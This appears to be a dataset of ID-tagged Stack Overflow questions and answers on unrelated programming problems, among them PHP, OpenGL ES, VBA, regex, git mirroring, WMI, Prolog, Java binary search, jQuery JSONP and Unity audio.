25461655	0	 <p>Your calling the wrong values in the view. It should be:</p> <pre><code>Email: {{ $email }} Password: {{ $password }} </code></pre> <p>As a side point - you should not be calling <code>Mail::pretend()</code> in your code. You should be configuring this as part of your environment setup, so that while in dev mode, the mail pretend is set to true, and in production it is set to false.</p>
36154549	0	 <p>You can try these solutions:</p> <ol> <li>Try to create launch images(640*960 @2x.png &amp; 640*1136 -568h@2x.png) and set them into project properties for "Launche images source".</li> </ol> <p>or</p> <ol start="2"> <li>Create .xib file with active autolayout and set this file as "launch screen file".</li> </ol>
31314457	0	"GL_UNPACK_SWAP_BYTES" was not declared in this scope & others <p>So i'm trying to use the <code>glPixelStorei</code> methods from OpenGL ES 2.0 in an NDK plugin i'm writing. After some fiddling with the includes, I can get it doing most things i want. However, there is an ongoing issue with getting the defined macros like in the title to work. Currently, eclipse is producing errors like the title for each of the macros in the first arguments of each call below: </p> <pre><code>glPixelStorei( GL_UNPACK_SWAP_BYTES, GL_FALSE ); glPixelStorei( GL_UNPACK_LSB_FIRST, GL_TRUE ); glPixelStorei( GL_UNPACK_ROW_LENGTH, 0 ); glPixelStorei( GL_UNPACK_SKIP_PIXELS, 0); glPixelStorei( GL_UNPACK_SKIP_ROWS, 0); </code></pre> <p>However, it shows <code>glPixelStorei( GL_UNPACK_ALIGNMENT, 0);</code> as error-free and even tells me <code>GL_UNPACK_ALIGNMENT</code> has a value of (<code>0x0CF5</code>). It will build fine without the above lines, but they provide some necessary functionality, so fixing it is the priority.</p> <p>I have included: <code>#include &lt;GLES2/gl2.h&gt;</code> and <code>#include &lt;EGL/egl.h&gt;</code></p> <p>Am I missing an include for macro definitions or is this an issue with OpenGL ES? I noticed after looking at the header files, there are no definitions for the problem macros.</p> <p>I wasn't sure how best to word this issue so i do apologize if this has been asked before, but i was not able to find any questions on the topic.</p>
21320562	0	 <p>it might be a bug of hibernate, If you read (load() a proxy instance) and then call delete and save on it . <a href="https://hibernate.atlassian.net/browse/HHH-8374" rel="nofollow">https://hibernate.atlassian.net/browse/HHH-8374</a></p>
17184489	0	 <p>e.target points to the a link inside the li. you should use <code>e.target.parentElement.id</code></p>
37644798	0	"Cannot resolve method ... " after inserted app indexing by accident <p>If you Inserted app indexing API code by mistake and an error like "Cannot resolve method ... " is popping up but cannot reverse it.</p>
36406052	0	error LNK2019 : unresolved external symbol. Adding the reference seems to double the definitions <p>I am working with a library, which is used by an application. When I compile the library, no compilation error is shown, but when I try to compile the application, the linker error LNK2019 is thrown, mentioning a function which is not present in the library.</p> <p>This can mean two things : <li> either the library is not found <li> either the library is found but the mentioned function is not present.</p> <p>I have already tried to recompile the application after having moved the library, and then he complains that the library is not found, so surely he finds the library but not the function inside.</p> <p>Further in the "Error List" window, next to the linker error message, I see the following information in the "File" column: <code>library.lib(object_file.obj)</code>, which indicates that he knows where he should look for that function (the mentioned function is not present in "object_file.c").</p> <p>When I include a file, containing the definition of that function, and I re-compile the library, I receive the following warning message <code>warning LNK4006: "int function(arguments) already defined in other_source_file.obj; second definition ignored</code>, although in "other_source_file.c" that function is not there.</p> <p>So I'm wondering how this is possible: <li> A function is missing, but when I add it, it seems to be present two times. <li> How does the compiler/linker know where he should be looking for that particular function?</p> <p>You're right, people, without any source code excerpt it's very difficult to handle this question. The function I have issues with, is the function "EXT_snprintf", which is referred upon by the function "snprintf" as you can see here:</p> <pre><code>#define snprintf _EXT_snprintf_f extern int snprintf(char* str, size_t size, const char* format, ...); </code></pre> <p>I've found this piece of code in a header file, belonging to the library. I don't find any implementation of <code>_EXT_snprintf_f</code> anywhere.</p> <p>As for the language, I have found the "/TP" flag in both compilation settings, mentioning that the compiler needs to treat the library and the application as C++ sources. (I've removed the "C" tag from the question)</p> <p>Does anybody have an idea?<br/> Thanks</p>
16940680	0	What is Localizing SQL Repository Definitions in ATG? <p>I read the documents but i don't clearly understand what is explained in this link. Can somebody explain in detail what it is and What the author tries to explain in that little explanation?</p> <p>here is the link:</p> <p><a href="http://docs.oracle.com/cd/E23095_01/Platform.93/RepositoryGuide/html/s0901localizingsqlrepositorydefinitio01.html" rel="nofollow">http://docs.oracle.com/cd/E23095_01/Platform.93/RepositoryGuide/html/s0901localizingsqlrepositorydefinitio01.html</a></p>
2829988	0	Webview blank but content is there <p>I am having trouble displaying a webview. I have a webview inside a custom view. I load this custom view as a subview of the window, and then have an object controller linking a text field to the content of the web view. Once a page is loaded, it loads all the content, but it is visually white. You can click on links. If you go to a Youtube video you can listen to it, but it still displays nothing. To load the custom view I run:</p> <pre><code>PageViewController *page = [[PageViewController alloc] initWithNibName:@"PageView" bundle:nil]; [page loadView]; [view addSubview:[page view]]; </code></pre> <p>Then to load the page I have the following:</p> <pre><code>-(IBAction)connectURL:(id)sender { NSLog(@"connecting"); [webView setMainFrameURL:[sender stringValue]]; } </code></pre> <p>Where connectURL is bound to a text field.</p>
6342952	0	 <p>Use the String.Split function, as others have suggested. This will split your string into an array of strings. Then, identify which string in the array is the 'vs' string. Take the value of the index prior to 'vs' and after 'vs'. For example:</p> <pre><code>string input = "Which teams have faced eachother? - use Red vs Blue format"; string[] inputArray = input.Split( ' ' ); int vsLocation = 0; for ( int i = 0; i &lt; inputArray.Length; i++ ) { if ( inputArray[i] == "vs" ) { vsLocation = i; break; } } if ( vsLocation &gt; 0) { string team1 = inputArray[vsLocation - 1]; string team2 = inputArray[vsLocation + 1]; } </code></pre>
36304680	0	 <p>Instead of using INDIRECT, add the following formula to a cell in the second row </p> <pre><code>=FILTER(C1:C-B2:B,LEN(C1:C)) </code></pre> <p>The above formula will automatically fill out the rows where the column C has a value. It assumes that Column B and Column C will have only numeric values.</p> <p>If necessary, adjust the cell references according to the row where the numeric values starts.</p>
27074010	0	 <pre><code>public void actionPerformed(ActionEvent e) { String[] outputBoxButtonsPressed = outputBox.getText().split( " "); System.out.println(Arrays.toString(outputBoxButtonsPressed)); int answer = 0; boolean firstOperatorBeenUsed = false; for (int buttonPressed = 0; buttonPressed &lt; outputBoxButtonsPressed.length - 2; buttonPressed++) { if (outputBoxButtonsPressed[buttonPressed + 1].equals("+") &amp;&amp; !firstOperatorBeenUsed) { answer = answer + Integer .parseInt(outputBoxButtonsPressed[buttonPressed]) + Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); System.out.println(answer); firstOperatorBeenUsed = true; } else if (outputBoxButtonsPressed[buttonPressed + 1] .equals("+") &amp;&amp; firstOperatorBeenUsed) { answer = answer + Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); } if (outputBoxButtonsPressed[buttonPressed + 1].equals("-") &amp;&amp; !firstOperatorBeenUsed) { answer = answer + Integer .parseInt(outputBoxButtonsPressed[buttonPressed]) - Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); System.out.println(answer); firstOperatorBeenUsed = true; } else if (outputBoxButtonsPressed[buttonPressed + 1] .equals("-") &amp;&amp; firstOperatorBeenUsed) { answer = answer - Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); } if (outputBoxButtonsPressed[buttonPressed + 1].equals("x") &amp;&amp; !firstOperatorBeenUsed) { answer = answer + Integer .parseInt(outputBoxButtonsPressed[buttonPressed]) * Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); System.out.println(answer); firstOperatorBeenUsed = true; } else if (outputBoxButtonsPressed[buttonPressed + 1] .equals("x") &amp;&amp; firstOperatorBeenUsed) { answer = answer * Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); } if (outputBoxButtonsPressed[buttonPressed + 1].equals("÷") &amp;&amp; !firstOperatorBeenUsed) { answer = answer + Integer .parseInt(outputBoxButtonsPressed[buttonPressed]) / Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); System.out.println(answer); firstOperatorBeenUsed = true; } else if (outputBoxButtonsPressed[buttonPressed + 1] .equals("÷") &amp;&amp; firstOperatorBeenUsed) { answer = answer / Integer .parseInt(outputBoxButtonsPressed[buttonPressed + 2]); } } outputBox.setText(outputBox.getText() + " = " + answer); } </code></pre> <p>Is this new equals button handler which works perfectly with all buttons. Yay :D</p>
21223514	0	 <p>This sequence of commands clones your GitHub repository (or any other repository if you change the URL) to <code>~/local-repos</code>, initializes an empty repository in <code>~/remote-repos.git</code> and pushes from <code>~/local-repos</code> to <code>~/remote-repos.git</code> all branches.</p> <pre><code>git clone 'https://github.com/nhnc-nginx/apache2nginx' ~/local-repos git init --bare ~/remote-repos.git cd ~/local-repos git remote add mirror-server ~/remote-repos.git git push --mirror mirror-server </code></pre> <p>Later you update tracking branches (and get new ones) in your <code>~/local-repos</code> with <code>git fetch origin</code> executed inside <code>~/local-repos</code>. You can mirror everything to <code>~/remote-repos.git</code> again with <a href="https://www.kernel.org/pub/software/scm/git/docs/git-push.html" rel="nofollow"><code>git push --mirror mirror-server</code></a>. If you want to push a single branch (e.g. <code>origin/gh-pages</code>), use <code>git push mirror-server origin/gh-pages</code>.</p> <p>Notice that <code>https://github.com/nhnc-nginx/apache2nginx</code> remote is named <code>origin</code> automatically. <code>git fetch origin</code> fetches accessible objects from <code>origin</code> repository and stores branches as tracking branches. Tracking branches are prefixed with the remote name (<code>origin</code> in this case). If you perform <code>git checkout gh-pages</code> and no <code>gh-pages</code> branch exists, Git performs <code>git branch --track gh-pages origin/gh-pages</code> before performing the checkout, which creates the <code>gh-pages</code> branch with upstream set to <code>origin/gh-pages</code>.</p> <p>This was probably the source of the errors your Git reported. You fetched just <code>origin/gh-pages</code> and tried to push non-existent <code>gh-pages</code> branch. As part of checkout, <code>gh-pages</code> was created, so push work then.</p> <p>Also notice that you are creating a mirror of your local repository, not <code>origin</code>. If you want to mirror your GitHub repository, you should execute <code>git fetch origin</code> inside the just created empty mirror with <code>git remote add origin 'https://github.com/nhnc-nginx/apache2nginx'</code>.</p>
29218930	0	Running XAMPP with Mysql instance already installed on local machine <p>I installed XAMPP on my local machine. I had previously installed MySQL along with Mysql Workbench. Couple of questions:</p> <ol> <li>Do I have to start the MySQL services in Xampp? </li> <li>what is my localhost IP address for connection in PHP?</li> </ol> <p>I am running Windows 7. I am new with this and I am trying to use CakePHP and Xampp for a project and I am not sure how the previous installation of Mysql may conflict with Xampp. Thank you.</p>
24232428	0	 <p>I believe your problem is here:</p> <pre><code>Sub DoOneFolder(FF As Scripting.Folder) Dim F As Scripting.File Dim SubF As Scripting.Folder Dim WBc As Workbook Dim shtWBc As Object Set shtWBc = Sheets("QC Results") Dim shtBatchwbk As Object Dim lastrow As Long Set shtBatchwbk = ThisWorkbook.Sheets("QC Results") lastrow = shtBatchwbk.Range("A65536").End(xlUp).Row </code></pre> <p>Notice that <code>shtWBc</code> and <code>shtBatchwbk</code> are most likely assigned to the <em>exact same worksheet object</em>.</p> <p><code>shtBatchwbk</code> is assigned from <code>ThisWorkbook</code>, and unless you have other workbooks open/active at the time, then <code>shtWBc</code> is assigned from the <code>ActiveWorkbook</code>, which would be the same workbook, thus the exact same worksheet.</p> <p>The resolution would seem to be:</p> <pre><code> For Each F In FF.Files If (F.Name) Like "QC_results*" &amp; ".xlsm" Then Set WBc = Workbooks.Open(F) Set shtWBc = WBc.Sheets("QC Results") '##### ASSIGN THIS WORKSHEET FROM THE NEWLY OPNEED WORKBOOk 'Get the last row: lastrow = shtBatchwbk.Range("A65536").End(xlUp).Row ' Copy QC results range into batch summary workbook shtWBc.Range("A4:SA11").Copy shtBatchwbk.Range("A" &amp; lastrow) WBc.Close SaveChanges:=False Debug.Print F.Name End If Next F </code></pre> <p>Otherwise, revise your Q to provide more detail per Alexandre's comment.</p> <p><strong>UPDATE FROM COMMENTS</strong></p> <p>If you only need <em>values</em>, then this should be more reliable and faster than copy/paste. </p> <p>Instead of:</p> <pre><code>shtWBc.Range("A4:SA11").Copy shtBatchwbk.Range("A" &amp; lastrow) </code></pre> <p>Do this:</p> <pre><code>shtBatchwbk.Range("A" &amp; lastrow).Resize( _ shtWBc.Range("A4:SA11").Rows.Count, _ shtWBc.Range("A4:SA11").Columns.Count).Value = shtWBc.Range("A4:SA11").Value </code></pre> <p>And if you also want to copy formatting without doing the full "copy" because it sometimes changes/transposes numbers, etc., then you can add this as well:</p> <pre><code>shtWBc.Range("A4:SA11").Copy shtBatchwbk.Range("A" &amp; lastrow).PasteSpecial xlPasteFormats </code></pre>
12601802	0	 <p>You may try this regex:</p> <pre><code>/^http(s?)://((\w+\.)?\w+\.\w+|((2[0-5]{2}|1[0-9]{2}|[0-9]{1,2})\.){3}(2[0-5]{2}|1[0-9]{2}|[0-9]{1,2}))(/)?$/gm </code></pre> <p>It's a bit lengthy but it works both with abc.domain.com, domain.com and valid IP addresses. You can test it <a href="http://regexr.com?329bj" rel="nofollow">here</a>.</p> <p>It's split into a "text" part, <code>(\w+\.)?\w+\.\w+</code> that matches any text without spaces and with one or two dots in it, and a numeric part, <code>((2[0-5]{2}|1[0-9]{2}|[0-9]{1,2})\.){3}(2[0-5]{2}|1[0-9]{2}|[0-9]{1,2})</code> allowing four numbers between 0 and 255 separated by dots.</p> <p>Optionally, there can be a slash at the end.</p> <p>If you don't mean to allow domains composed by single characters (eg. a.b.c) but, say, at least like www.bit.ly (that is, with free prefix of 1 or more characters, "body" of three or more, and suffix of two or more), you can change the text part into:</p> <pre><code>(\w+\.)?\w{3,}\.\w{2,} </code></pre> <p>Reference: </p> <p><a href="http://RegExr.com?2ri07" rel="nofollow">http://RegExr.com?2ri07</a> (regex matching ip)</p>
3408941	0	 <p><code>wmic</code> is a command-line wrapper for <strong>Windows Management Instrumentation (WMI)</strong> API. In .NET Framework, the <a href="http://msdn.microsoft.com/en-us/library/system.management.aspx" rel="nofollow noreferrer"><code>System.Management</code></a> namespace provides access to this API.</p> <p>The Visual Basic .NET equivalent of your command line is below. This code queries the <a href="http://msdn.microsoft.com/en-us/library/aa394372.aspx" rel="nofollow noreferrer"><code>Win32_Process</code></a> class instances corresponding to <em>mpc-hc.exe</em> and reads their <code>CommandLine</code> property:</p> <pre><code>Imports System.Management ... Dim searcher As New ManagementObjectSearcher( _ "SELECT * FROM Win32_Process WHERE Name='mpc-hc.exe'") For Each process As ManagementObject in searcher.Get() Console.WriteLine(process("CommandLine")) Next </code></pre>
21656677	0	 <p>You can still use the <code>interval()</code> method, just ignore its result!</p> <pre><code>final Producer producer = ...; int n = ...; Observable&lt;Object&gt; obs = Observable.interval(n,TimeUnit.SECONDS) .map(new Func1&lt;Integer,Object&gt;() { @Override public Object call(Integer i) { return producer.readData(); } )); </code></pre>
15772057	0	 <p>Only solution I found is to downgrade to CRM SDK version 1.0 (not 1.1 from current release). Then in VS 2010 works.</p>
15732208	0	 <p>Further, it may interest you, the location where Google Drive stores offline docs in Android's file system.</p> <p><code>sdcard/android/data/com.google.android.apps.docs/</code></p>
36481766	0	Checking text as you write it <p>I am writing a function (in Python 3) which will allow someone to revise a set text.</p> <p>Set texts (in this situation) are pieces of text (I am doing the <em>Iliad</em>, for example) which you need to learn for an exam. In this function I am focusing on a user trying to learn the translation of the text off by heart.</p> <p>In order to do this, I want to write the translation in a text file, then the user can test themselves by writing it up, and the program will check whether each word is correct by checking it against the known, correct translation.</p> <p>I know I could simply use <code>input()</code> for this, but it is inadequate as the user would have to type the entire text, or small parts, at a time for this to work, and I want to correct as they type in order for them to remember their mistakes more easily.</p> <p>I have not written any code yet as how I write the rest of the program will depend on how I code this part.</p>
14409383	0	 <pre><code>$arr = explode(':', $detailsSessionDuration); printf("%s Hrs %s Mins %s Secs", $arr[0], $arr[1], $arr[2]); </code></pre>
12264142	0	 <p>Try to use regex pattern</p> <pre><code>/(?=.*?(?&lt;!@ )(\b\w+\b)).*\(@.*\1.*\)/ </code></pre> <p>See <a href="http://ideone.com/QMzeC" rel="nofollow">this test code</a>.</p>
33565354	0	 <p>The problem was IIS in 32-bit. Using 64-bit version solves the problem.</p> <p>P.S. Visual Studio has an option to use IIS-Express in 64-bit. You can also add to the registry:</p> <pre><code>reg add HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\12.0\WebProjects /v Use64BitIISExpress /t REG_DWORD /d 1 </code></pre> <p>12.0 - Visual Studio 2013</p>
27982432	1	Flattening and unflattening a nested list of numpy arrays <p>There are many recipes for flattening a nested list. I'll copy a solution here just for reference: </p> <pre><code>def flatten(x): result = [] for el in x: if hasattr(el, "__iter__") and not isinstance(el, basestring): result.extend(flatten(el)) else: result.append(el) return result </code></pre> <p>What I am interested in is the inverse operation, which reconstructs the list to its original format. For example:</p> <pre><code>L = [[array([[ 24, -134],[ -67, -207]])], [array([[ 204, -45],[ 99, -118]])], [array([[ 43, -154],[-122, 168]]), array([[ 33, -110],[ 147, -26],[ -49, -122]])]] # flattened version L_flat = [24, -134, -67, -207, 204, -45, 99, -118, 43, -154, -122, 168, 33, -110, 147, -26, -49, -122] </code></pre> <p>Is there an efficient way of flattening, saving indices and reconstructing to its original format?</p> <p>Note that the list can be of arbitrary depth and may not have a regular shape, and will contain arrays of differing dimensions.</p> <p>Of course, the flattening function should be also changed to store the structure of the list and the shape of the <code>numpy</code> arrays.</p>
8857572	0	Prolog - Help fixing a rule <p>I have a database full of facts such as:</p> <pre><code>overground(newcrossgate,brockley,2). overground(brockley,honoroakpark,3). overground(honoroakpark,foresthill,3). overground(foresthill,sydenham,2). overground(sydenham,pengewest,3). overground(pengewest,anerley,2). overground(anerley,norwoodjunction,3). overground(norwoodjunction,westcroydon,8). overground(sydenham,crystalpalace,5). overground(highburyandislington,canonbury,2). overground(canonbury,dalstonjunction,3). overground(dalstonjunction,haggerston,1). overground(haggerston,hoxton,2). overground(hoxton,shoreditchhighstreet,3). </code></pre> <p>example: newcrossgate to brockley takes 2 minutes.</p> <p>I then created a rule so that if I enter the query istime(newcrossgate,honoroakpark,Z). then prolog should give me the time it takes to travel between those two stations. (The rule I made is designed to calculate the distance between any two stations at all, not just adjacent ones). </p> <pre><code>istime(X,Y,Z):- istime(X,Y,0,Z); istime(Y,X,0,Z). istime(X,Y,T,Z):- overground(X,Y,Z), T1 is T + Z. istime(X,Y,Z):- overground(X,A,T), istime(A,Y,T1), Z is T + T1. istime(X,Y,Z):- overground(X,B,T), istime(B,X,T1), Z is T + T1. </code></pre> <p>it seems to work perfectly for newcrossgate to the first couple stations, e.g newcrossgate to foresthill or sydenham. However, after testing newcrossgate to westcroydon which takes 26mins, I tried newcrossgate to crystalpalace and prolog said it should take 15 mins...despite the fact its the next station after westcroydon. Clearly somethings wrong here, however it works for most of the stations while coming up with a occasional error in time every now and again, can anyone tell me whats wrong? :S</p>
31934022	0	how to store sql lite database in android studio to device memory? <p>I am new to android . I would like to store and retrieve records in android studio . I am using embedded sql database in android studio . Data are inserted perfectly when my device is connected to studio. whenever, i run after disconnecting my device insertion is not performing . what is the problem ? please help me, what should i need to do? </p>
29302209	0	Binary searching in an array <p>This code searches for a number in an array by using the median. I have a problem with printing its position in the array. This code prints out the max value of the array. ex "234" "your number is on the the place 99999" "345" "your number is on the place 99998" and so on.</p> <pre><code>import java.util.Scanner; import java.util.Arrays; public class sok2 { public static void main(String[] args) { int ListaLength = 100001; //Säger hur lång listan ska vara. int [] array = new int[ListaLength]; for (int i = 0; i &lt; ListaLength; i++) { array[i] = (int)(Math.random() * ((ListaLength - 1) + 1)); Arrays.sort(array); System.out.println("Skriv in numret du letar efter."); int element = new Scanner(System.in).nextInt(); boolean found = false; int min = 0; int max = array.length - 1; int median = max/2; while(! found &amp;&amp; min &lt;= max){ if(array[median] == element){ found = true; } if(array[median] &lt; element){ min = median + 1; median = (min + max) / 2; } else if(array[median] &gt; element){ max = median - 1; median = (max + min) / 2; } } // this is where i assume the problem is. System.out.println("Din siffra är på plats "+median); }}} </code></pre>
32184523	0	 <p>I'm not sure if you can apply a LINQ Select statement on a DataTable and use the Trim() on the String class to achieve your goal. But as a Database Developer I would suggest acting on the SQL Query and use the Rtrim(Ltrim(field1)) AS field1 on your query to get rid of the spaces before the datatable.</p>
12559705	0	 <p>Cairo uses pixman for everything that the backend can't draw itself, and for everything the image backend draws. So there is no way to disable it.</p>
4398219	0	 <p>You'd need to execute the <code>lame</code> command in the shell anyway, so there is no use for this. If you need to kick the processing of from php, just execute the whole script from php.</p>
2819368	0	 <p>Check out <a href="http://vimcolorschemetest.googlecode.com/svn/html/index-c.html" rel="nofollow noreferrer">http://vimcolorschemetest.googlecode.com/svn/html/index-c.html</a>, it has a HUGE list of colorschemes with previews. If you do not like C samples, there are samples with other programming languages, too: <a href="http://code.google.com/p/vimcolorschemetest/" rel="nofollow noreferrer">http://code.google.com/p/vimcolorschemetest/</a></p>
14720321	0	 <p>Using Steve's suggestion above as a jumping off point and then reading some tutorials I was able to come up with a working script:</p> <pre><code>Sub UniformHeight() Dim SlideToCheck As Slide Dim ShapeIndex As Integer For Each SlideToCheck In ActivePresentation.Slides For ShapeIndex = SlideToCheck.Shapes.Count To 1 Step -1 SlideToCheck.Shapes(ShapeIndex).Top = 36 Next Next End Sub </code></pre>
8674339	0	 <p>You are re-binding the drop down list (and therefore wiping out the 'SelectedValue') in your Page_PreRender method. Wrap the method in</p> <pre><code>protected void Page_PreRender(object sender, EventArgs e) { if( !IsPostBack){ //your current code } } </code></pre> <p>and it should work.</p>
4508743	0	jQuery doesn't return any API results in the Succes function of $.ajax() while using JSONP <p>I'm having a lot of trouble getting any results out of the JSONP datatype of the jQuery $.ajax() function. This is my jQuery code:</p> <pre><code> $('#show_tweets').click(function(){ $.ajax({ type: 'get', url: 'http://api.twitter.com/1/statuses/user_timeline.json?screen_name=jquery', dataType: 'jsonp', succes: function(data) { $.each(data, function() { $('&lt;div&gt;&lt;/div&gt;') .hide() .append('&lt;img src="'+ this.profile_image_url +'"/&gt;') .append('&lt;p&gt;'+ this.text +'&lt;/p&gt;') .appendTo('#tweets_gallery') .fadeIn(); }) }, error: function() { alert('Iets gaat fout!!'); } }); }); </code></pre> <p>I've assigned the #show_tweets ID to a P tag. #tweets_gallery is an empty DIV. Now, I <strong>know</strong> I could also use the $.getJSON() function, but I just want to know how I can properly retrieve JSONP results with a <strong>$.ajax()</strong> request. I've clicked several times and it doesn't output anything. </p> <p>Thanks in advance!</p>
6047724	0	PDO fetchAll array to one dimensional <p>this may be a simple question but am struggling to understand how to solve it. I have a form which allows the user to select either "custom" or "all" staff" to assign to a job.</p> <p>If custom is selected the user selects staff by clicking each checkbox, I then insert these into a jobs table. This produces the array below (3, 1, 10 are the staff IDs)</p> <pre><code>Array ( [0] =&gt; 3 [1] =&gt; 1 [2] =&gt; 10 ) </code></pre> <p>If "all staff" is selected, I first query a select statement to get all the staff ID's from the staff table, and then insert these into the job table the same as above. However this produces the array :</p> <pre><code>Array ( [0] =&gt; Array ( [staffID] =&gt; 1 [0] =&gt; 1 ) [1] =&gt; Array ( [staffID] =&gt; 23 [0] =&gt; 23 ) [2] =&gt; Array ( [staffID] =&gt; 26 [0] =&gt; 26 ) [3] =&gt; Array ( [staffID] =&gt; 29 [0] =&gt; 29 ) ) </code></pre> <p>How can I convert the array above to the first array shown? </p> <p>I'm using the code below to query the database to get all the staff ID's and then inserting them.</p> <pre><code> $select = $db-&gt;prepare("SELECT staffID FROM staff"); if($select-&gt;execute()) { $staff = $select-&gt;fetchAll(); } for($i = 0; $i&lt;count($staff); $i++) { $staffStmt = $db-&gt;prepare("INSERT INTO staffJobs (jobID, userID) VALUES (:jobID, :staffID)"); $staffStmt-&gt;bindParam(':jobID', $jobID, PDO::PARAM_INT); $staffStmt-&gt;bindParam(':staffID', $staff[$i], PDO::PARAM_INT); $staffStmt-&gt;execute(); } </code></pre> <p>The first array inserts fine, however the last array inserts zeros for the staffID.</p> <p>Any suggestions?</p> <p>Thanks =).</p>
34638005	0	 <p>There is no penalty to using VMOVDQU when the address is aligned. The behavior is identical to using VMOVDQA in that case.</p> <p>As for "why" there may not be a single clear answer. It's <em>possible</em> that ICC does this deliberately so that users who later call <code>_do</code> with an unaligned argument will not crash, but it's also possible that it's simply emergent behavior of the compiler. Someone on the Intel compiler team could answer this question, the rest of us can only speculate.</p>
26288949	0	Is it possible to show an element just before entering a long running sync process? <p>This is a very simple use case. Show an element (a loader), run some heavy calculations that eat up the thread and hide the loader when done. I am unable to get the loader to actually show up prior to starting the long running process. It ends up showing and hiding after the long running process. Is adding css classes an async process?</p> <p>See my jsbin here:</p> <p><a href="http://jsbin.com/voreximapewo/12/edit?html,css,js,output" rel="nofollow">http://jsbin.com/voreximapewo/12/edit?html,css,js,output</a></p>
25849693	0	set supportedRuntime to .net 2.0 in VS 2010 projects <p>I am trying to set supportedRuntime for my vb.net project which i created using VS 2010. Then i tried setting supportedRuntime for a sample application containing only form. In .config i have specified as shown below</p> <pre><code>&lt;startup&gt; &lt;supportedRuntime version="v2.0.50727"/&gt; &lt;supportedRuntime version="v4.0.30319"/&gt; &lt;/startup&gt; </code></pre> <p>When I try to open exe it does not open. If i specify .net 4 first and then .net 2 in config then it works.</p> <p>If project is created in VS 2008 then above supportedRuntime option works properly.</p> <p>So what is the error actually? Can't i set supportedRuntime to 2.0 in config file?</p>
29888151	0	 <p>This will work : </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;ScrollView xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="wrap_content" android:layout_height="wrap_content"&gt; &lt;LinearLayout android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:layout_weight="1" android:id="@+id/linear1"&gt; &lt;TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:text="text"/&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:layout_weight="1" android:id="@+id/linear2"&gt; &lt;RadioGroup android:layout_width="wrap_content" android:layout_height="wrap_content" android:id="@+id/radioGroup1"&gt; &lt;RadioButton android:layout_width="wrap_content" android:id="@+id/radio0" android:layout_height="wrap_content" android:text="RadioButton" android:checked="true" /&gt; &lt;RadioButton android:layout_width="wrap_content" android:id="@+id/radio1" android:layout_height="wrap_content" android:text="RadioButton" /&gt; &lt;RadioButton android:layout_width="wrap_content" android:id="@+id/radio2" android:layout_height="wrap_content" android:text="RadioButton" /&gt; &lt;RadioButton android:layout_width="wrap_content" android:id="@+id/radio3" android:layout_height="wrap_content" android:text="RadioButton" /&gt; &lt;/RadioGroup&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:layout_width="match_parent" android:layout_height="match_parent" android:layout_weight="1" android:id="@+id/linear3"&gt; &lt;Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:id="@+id/button1" android:text="Button" /&gt; &lt;Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:id="@+id/button2" android:text="Button" /&gt; &lt;Spinner android:id="@+id/spinner1" android:layout_width="wrap_content" android:layout_height="wrap_content" /&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; &lt;/ScrollView&gt; </code></pre>
32433046	0	 <p>The default dxSlideOut item template does not support the 'icon' field. So, you can use the <a href="http://js.devexpress.com/Documentation/ApiReference/UI_Widgets/dxSlideOut/Default_Item_Template/?version=15_1#menuTemplate" rel="nofollow">menuTemplate</a> option to define icon for a menu item.</p> <pre><code>&lt;div data-options="dxTemplate:{ name:'menuItem' }"&gt; &lt;span data-bind="attr: {'class': 'dx-icon-' + icon}"&gt;&lt;/span&gt; &lt;span data-bind="text: text"&gt;&lt;/span&gt; &lt;/div&gt; </code></pre> <p>I've created a small fiddle here - <a href="http://jsfiddle.net/dfc2ggck/1/" rel="nofollow">http://jsfiddle.net/dfc2ggck/1/</a></p> <p>Also, be sure your icon exists in the <a href="http://js.devexpress.com/Documentation/Guide/Themes/Icon_Library/?version=15_1#Icon_Library" rel="nofollow">DevExtreme Icon Library</a>.</p>
28285128	0	Excel 2010 Macro to transpose non adjacent cells <p>I'm currently transposing data from column to a row in a different spreadsheet one at a time. I began using the "record macro" function but I'm having trouble. I need the macro to copy data column by column and transpose it into a corresponding row, 15 rows apart. There are 100 entries per document. For example; P4 - P23 in document 1 needs to be transposed to M217 - AF217 in document 2. Q4 - Q23 needs to be transposed to M232 - AF 232, up to row 1501.</p>
39860827	0	 <p>I think you should add @Configuration and @EnableWebSecurity annotations to SecurityConfig</p> <pre><code>@Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { } </code></pre>
26598833	0	Using a UIScrollView to change the alpha of an image <p>My aim is to effectively use a UIScrollView as a UISlider.</p> <p>I've managed to code a UISlider to change the alpha of an image however I want to code a scrollview to change the alpha of an image when it is scrolled. </p> <p>I think I'm on the right lines by using the scroll views content offset to adjust alpha balances in the scroll view delegate but I just can't seem to get the code to work! </p> <p>Any suggestions on how I can get do this?</p> <p>Thanks</p>
32163675	0	 <p>Is "05 - Listen to the Man_[plixid.com]" an asset within your project? If not I believe that's why this won't work. I'm pretty sure <a href="http://docs.unity3d.com/ScriptReference/Resources.Load.html" rel="nofollow">Resources.Load</a> is just for loading your existing assets into RAM, so that they're ready when you need them.</p> <p>I did a bit of looking around, and you might find <a href="http://forum.unity3d.com/threads/importing-audio-files-at-runtime.140088/" rel="nofollow">this thread</a> useful, as well as <a href="http://docs.unity3d.com/ScriptReference/WWW.GetAudioClip.html" rel="nofollow">this page</a> from the Unity reference docs.</p> <p>Here's a sample of JS from there that should do the trick. Hopefully you can translate into C# easily enough if that's what you prefer :)</p> <pre><code>var www = new WWW ("file://" + Application.dataPath.Substring (0, Application.dataPath.LastIndexOf ("/")) + "/result.wav"); AudioClip myAudioClip= www.audioClip; while (!myAudioClip.isReadyToPlay) yield return www; gameObject.GetComponent&lt;AudioSource&gt; ().audio.clip = myAudioClip; audio.Play (); </code></pre>
